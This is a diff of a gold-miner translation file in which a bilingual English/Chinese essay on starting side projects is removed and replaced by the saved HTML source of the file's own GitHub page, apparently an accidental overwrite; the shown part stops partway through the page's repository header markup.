-> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
-> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[owenlyn](https://github.com/owenlyn)
-> * 校对者：
 
----
 
-![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
-# Nothing will change until you start building. 真正行动之前 你将一无所成
 
-This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
 
-This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it. 接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
 
-This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it. 这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
 
-The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly. 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue. 在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
 
+  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/frameworks-612da304eac9a72f5d085232387f7f5cd82df6c73120fd97fcf0bdefacbd9b16.css" integrity="sha256-YS2jBOrJpy9dCFIyOH9/XNgt9scxIP2X/PC976y9mxY=" media="all" rel="stylesheet" />
+  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github-9e591dcc1f30d2a6ac3773da2f8c05987a4a148bae15713c4be9bb62b6e92b26.css" integrity="sha256-nlkdzB8w0qasN3PaL4wFmHpKFIuuFXE8S+m7YrbpKyY=" media="all" rel="stylesheet" />
+  
+  
+  
+  
 
-![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
+  <meta name="viewport" content="width=device-width">
+  
+  <title>gold-miner/nothing-will-change-until-you-start-building.md at master · xitu/gold-miner</title>
+  <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
+  <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
+  <meta property="fb:app_id" content="1401488693436528">
 
-With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
+    
+    <meta content="https://avatars3.githubusercontent.com/u/10482599?v=3&amp;s=400" property="og:image" /><meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="xitu/gold-miner" property="og:title" /><meta content="https://github.com/xitu/gold-miner" property="og:url" /><meta content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章" property="og:description" />
 
----
+  <link rel="assets" href="https://assets-cdn.github.com/">
+  <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6MTUzNjk5MDc1OjI3Mjc3OGNhZDRiYTM2MTkwNmZlY2JkMjU0Yzk0ZTM3NTA2ODQ5YmY2YjVhZjQ5MGQ2Zjk2MDFhYmY3MWNhOWE=--8cce105fcf437c91c1329db1592a5bdce21162cd">
+  <meta name="pjax-timeout" content="1000">
+  <link rel="sudo-modal" href="/sessions/sudo_modal">
+  <meta name="request-id" content="CCFA:4F39:286AF75:3D45B97:58E83EAD" data-pjax-transient>
+  
 
-### 1. Define your goal确定目标
+  <meta name="selected-link" value="repo_source" data-pjax-transient>
 
-Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
+  <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
+<meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
+    <meta name="google-analytics" content="UA-3769691-2">
 
-**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently. **尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
+<meta content="collector.githubapp.com" name="octolytics-host" /><meta content="github" name="octolytics-app-id" /><meta content="https://collector.githubapp.com/github-external/browser_event" name="octolytics-event-url" /><meta content="CCFA:4F39:286AF75:3D45B97:58E83EAD" name="octolytics-dimension-request_id" /><meta content="4431857" name="octolytics-actor-id" /><meta content="owenlyn" name="octolytics-actor-login" /><meta content="fdd747e7d985040678fec5301f468cbc859690c07058cfaf6f1ffec23669be27" name="octolytics-actor-hash" />
+<meta content="/&lt;user-name&gt;/&lt;repo-name&gt;/blob/show" data-pjax-transient="true" name="analytics-location" />
 
-### 2. Stay on track执行计划
 
-Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound. 有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
-![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
+  <meta class="js-ga-set" name="dimension1" content="Logged In">
 
-One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
-### 3. Solve a problem 解决一个问题
+  
 
-Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
+      <meta name="hostname" content="github.com">
+  <meta name="user-login" content="owenlyn">
 
-For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
+      <meta name="expected-hostname" content="github.com">
+    <meta name="js-proxy-site-detection-payload" content="YjgxZWVkM2U1YWY3ZGY3YjQ5YmMxMmE2MjgwNDJjMmNmM2NmMmEwNDQwZWM3YWYzZWY3N2Q3ZTA4NjkwMzJhM3x7InJlbW90ZV9hZGRyZXNzIjoiNzMuMjM3LjE4LjIyIiwicmVxdWVzdF9pZCI6IkNDRkE6NEYzOToyODZBRjc1OjNENDVCOTc6NThFODNFQUQiLCJ0aW1lc3RhbXAiOjE0OTE2MTU0MTQsImhvc3QiOiJnaXRodWIuY29tIn0=">
 
-**The bigger the pain point you’re trying to solve, the easier it will be to find users.你尝试解决多大的痛点，找用户就有多容易。**
 
-Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem. 同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
+  <meta name="html-safe-nonce" content="b54810b74418b8727d0adbc8644992d5cf0ffe23">
 
-For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started. 想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
+  <meta http-equiv="x-pjax-version" content="2fcc845e19df9d36134e232e5e95caa9">
+  
 
-### 4. Ditch the “good idea / bad idea” mindset 放弃”好主意/坏主意“的想法
+    
+  <meta name="description" content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章">
+  <meta name="go-import" content="github.com/xitu/gold-miner git https://github.com/xitu/gold-miner.git">
 
-Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
+  <meta content="10482599" name="octolytics-dimension-user_id" /><meta content="xitu" name="octolytics-dimension-user_login" /><meta content="45512989" name="octolytics-dimension-repository_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="false" name="octolytics-dimension-repository_is_fork" /><meta content="45512989" name="octolytics-dimension-repository_network_root_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_network_root_nwo" />
+        <link href="https://github.com/xitu/gold-miner/commits/master.atom" rel="alternate" title="Recent Commits to gold-miner:master" type="application/atom+xml">
 
-**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz). **相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
-![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
+    <link rel="canonical" href="https://github.com/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md" data-pjax-transient>
 
-The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better. 唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
 
-### 5. Ask for help寻求帮助
+  <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
 
-When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
+  <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
 
-Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter. 我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
+  <link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#000000">
+  <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico">
 
-Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message. 在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
+<meta name="theme-color" content="#1e2327">
 
----
 
-Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
+  <meta name="u2f-support" content="true">
 
-So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
+  </head>
 
-What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
+  <body class="logged-in env-production emoji-size-boost page-blob">
+    
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality. 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
-*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
+  <div class="position-relative js-header-wrapper ">
+    <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a>
+    <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div>
 
----
+    
+    
+    
+
+
+
+        
+<div class="header" role="banner">
+  <div class="container clearfix">
+    <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo">
+  <svg aria-hidden="true" class="octicon octicon-mark-github" height="32" version="1.1" viewBox="0 0 16 16" width="32"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
+</a>
+
+
+        <div class="header-search scoped-search site-scoped-search js-site-search" role="search">
+  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/search" class="js-site-search-form" data-scoped-search-url="/xitu/gold-miner/search" data-unscoped-search-url="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+    <label class="form-control header-search-wrapper js-chromeless-input-container">
+        <a href="/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md" class="header-search-scope no-underline">This repository</a>
+      <input type="text"
+        class="form-control header-search-input js-site-search-focus js-site-search-field is-clearable"
+        data-hotkey="s"
+        name="q"
+        value=""
+        placeholder="Search"
+        aria-label="Search this repository"
+        data-unscoped-placeholder="Search GitHub"
+        data-scoped-placeholder="Search"
+        autocapitalize="off">
+        <input type="hidden" class="js-site-search-type-field" name="type" >
+    </label>
+</form></div>
+
+
+      <ul class="header-nav float-left" role="navigation">
+        <li class="header-nav-item">
+          <a href="/pulls" aria-label="Pull requests you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:pulls context:user" data-hotkey="g p" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls">
+            Pull requests
+</a>        </li>
+        <li class="header-nav-item">
+          <a href="/issues" aria-label="Issues you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:issues context:user" data-hotkey="g i" data-selected-links="/issues /issues/assigned /issues/mentioned /issues">
+            Issues
+</a>        </li>
+          <li class="header-nav-item">
+            <a class="header-nav-link" href="https://gist.github.com/" data-ga-click="Header, go to gist, text:gist">Gist</a>
+          </li>
+      </ul>
+
+    
+<ul class="header-nav user-nav float-right" id="user-links">
+  <li class="header-nav-item">
+    
+    <a href="/notifications" aria-label="You have unread notifications" class="header-nav-link notification-indicator tooltipped tooltipped-s js-socket-channel js-notification-indicator " data-channel="notification-changed:4431857" data-ga-click="Header, go to notifications, icon:unread" data-hotkey="g n">
+        <span class="mail-status unread"></span>
+        <svg aria-hidden="true" class="octicon octicon-bell float-left" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg>
+</a>
+  </li>
+
+  <li class="header-nav-item dropdown js-menu-container">
+    <a class="header-nav-link tooltipped tooltipped-s js-menu-target" href="/new"
+       aria-label="Create new…"
+       data-ga-click="Header, create new, icon:add">
+      <svg aria-hidden="true" class="octicon octicon-plus float-left" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5z"/></svg>
+      <span class="dropdown-caret"></span>
+    </a>
+
+    <div class="dropdown-menu-content js-menu-content">
+      <ul class="dropdown-menu dropdown-menu-sw">
+        
+<a class="dropdown-item" href="/new" data-ga-click="Header, create new repository">
+  New repository
+</a>
+
+  <a class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository">
+    Import repository
+  </a>
+
+<a class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist">
+  New gist
+</a>
+
+  <a class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization">
+    New organization
+  </a>
+
+
+
+  <div class="dropdown-divider"></div>
+  <div class="dropdown-header">
+    <span title="xitu/gold-miner">This repository</span>
+  </div>
+    <a class="dropdown-item" href="/xitu/gold-miner/issues/new" data-ga-click="Header, create new issue">
+      New issue
+    </a>
+
+      </ul>
+    </div>
+  </li>
+
+  <li class="header-nav-item dropdown js-menu-container">
+    <a class="header-nav-link name tooltipped tooltipped-sw js-menu-target" href="/owenlyn"
+       aria-label="View profile and more"
+       data-ga-click="Header, show menu, icon:avatar">
+      <img alt="@owenlyn" class="avatar" src="https://avatars0.githubusercontent.com/u/4431857?v=3&amp;s=40" height="20" width="20">
+      <span class="dropdown-caret"></span>
+    </a>
+
+    <div class="dropdown-menu-content js-menu-content">
+      <div class="dropdown-menu dropdown-menu-sw">
+        <div class="dropdown-header header-nav-current-user css-truncate">
+          Signed in as <strong class="css-truncate-target">owenlyn</strong>
+        </div>
+
+        <div class="dropdown-divider"></div>
+
+        <a class="dropdown-item" href="/owenlyn" data-ga-click="Header, go to profile, text:your profile">
+          Your profile
+        </a>
+        <a class="dropdown-item" href="/owenlyn?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">
+          Your stars
+        </a>
+        <a class="dropdown-item" href="/explore" data-ga-click="Header, go to explore, text:explore">
+          Explore
+        </a>
+          <a class="dropdown-item" href="/integrations" data-ga-click="Header, go to integrations, text:integrations">
+            Integrations
+          </a>
+        <a class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">
+          Help
+        </a>
+
+        <div class="dropdown-divider"></div>
+
+        <a class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">
+          Settings
+        </a>
+
+        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="logout-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="X+1AaR22qJUEXj13OtH+HcIm5lYs4DO1c+XIR5Q0sZ5b+eoTsqFakz+rxSqHCbVPRGww6u3Vtn4XFkJyexMubQ==" /></div>
+          <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
+            Sign out
+          </button>
+</form>      </div>
+    </div>
+  </li>
+</ul>
+
+
+    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="sr-only right-0" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="LT7mlm12Fe8ifCDG6Hru2x/blbjBkwSFJBayVVVA8aUpKkzswmHn6RmJ2JtVoqWJmZFDBACmgU5A5ThgumduVg==" /></div>
+      <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
+        Sign out
+      </button>
+</form>  </div>
+</div>
+
+
+      
+
+  </div>
+
+  <div id="start-of-content" class="accessibility-aid"></div>
+
+    <div id="js-flash-container">
+</div>
+
+
+
+  <div role="main">
+        <div itemscope itemtype="http://schema.org/SoftwareSourceCode">
+    <div id="js-repo-pjax-container" data-pjax-container>
+        
+
+
+
+  <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav">
+    <div class="container repohead-details-container">
+
+
+      <ul class="pagehead-actions">
+  <li>
+        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/notifications/subscribe" class="js-social-container" data-autosubmit="true" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="VjLdEpHk3G/Ti15uQQ7E9h7+Tf1kFfKsCdjlWX3NG5s01Fj8NYTpiOinj3O6Qw95gcjqofQGne1G6zRbpJVYbw==" /></div>      <input class="form-control" id="repository_id" name="repository_id" type="hidden" value="45512989" />
+
+        <div class="select-menu js-menu-container js-select-menu">
+          <a href="/xitu/gold-miner/subscription"
+            class="btn btn-sm btn-with-count select-menu-button js-menu-target" role="button" tabindex="0" aria-haspopup="true"
+            data-ga-click="Repository, click Watch settings, action:blob#show">
+            <span class="js-select-button">
+              <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
+              Watch
+            </span>
+          </a>
+          <a class="social-count js-social-count"
+            href="/xitu/gold-miner/watchers"
+            aria-label="462 users are watching this repository">
+            462
+          </a>
+
+        <div class="select-menu-modal-holder">
+          <div class="select-menu-modal subscription-menu-modal js-menu-content">
+            <div class="select-menu-header js-navigation-enable" tabindex="-1">
+              <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+              <span class="select-menu-title">Notifications</span>
+            </div>
+
+              <div class="select-menu-list js-navigation-container" role="menu">
+
+                <div class="select-menu-item js-navigation-item selected" role="menuitem" tabindex="0">
+                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+                  <div class="select-menu-item-text">
+                    <input checked="checked" id="do_included" name="do" type="radio" value="included" />
+                    <span class="select-menu-item-heading">Not watching</span>
+                    <span class="description">Be notified when participating or @mentioned.</span>
+                    <span class="js-select-button-text hidden-select-button-text">
+                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
+                      Watch
+                    </span>
+                  </div>
+                </div>
+
+                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
+                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+                  <div class="select-menu-item-text">
+                    <input id="do_subscribed" name="do" type="radio" value="subscribed" />
+                    <span class="select-menu-item-heading">Watching</span>
+                    <span class="description">Be notified of all conversations.</span>
+                    <span class="js-select-button-text hidden-select-button-text">
+                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
+                      Unwatch
+                    </span>
+                  </div>
+                </div>
+
+                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
+                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+                  <div class="select-menu-item-text">
+                    <input id="do_ignore" name="do" type="radio" value="ignore" />
+                    <span class="select-menu-item-heading">Ignoring</span>
+                    <span class="description">Never be notified.</span>
+                    <span class="js-select-button-text hidden-select-button-text">
+                      <svg aria-hidden="true" class="octicon octicon-mute" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg>
+                      Stop ignoring
+                    </span>
+                  </div>
+                </div>
+
+              </div>
+
+            </div>
+          </div>
+        </div>
+</form>
+  </li>
+
+  <li>
+      <div class="js-toggler-container js-social-container starring-container ">
+    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/unstar" class="starred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="Vbb5giV5PDKegi/FwGV1kqMnbd2hoIWaYjU7Rw+/YYfkL7b+T8B0TkBE2PRGi4Hx/86arLTvzjbB7DbUs+SJbg==" /></div>
+      <button
+        type="submit"
+        class="btn btn-sm btn-with-count js-toggler-target"
+        aria-label="Unstar this repository" title="Unstar xitu/gold-miner"
+        data-ga-click="Repository, click unstar button, action:blob#show; text:Unstar">
+        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
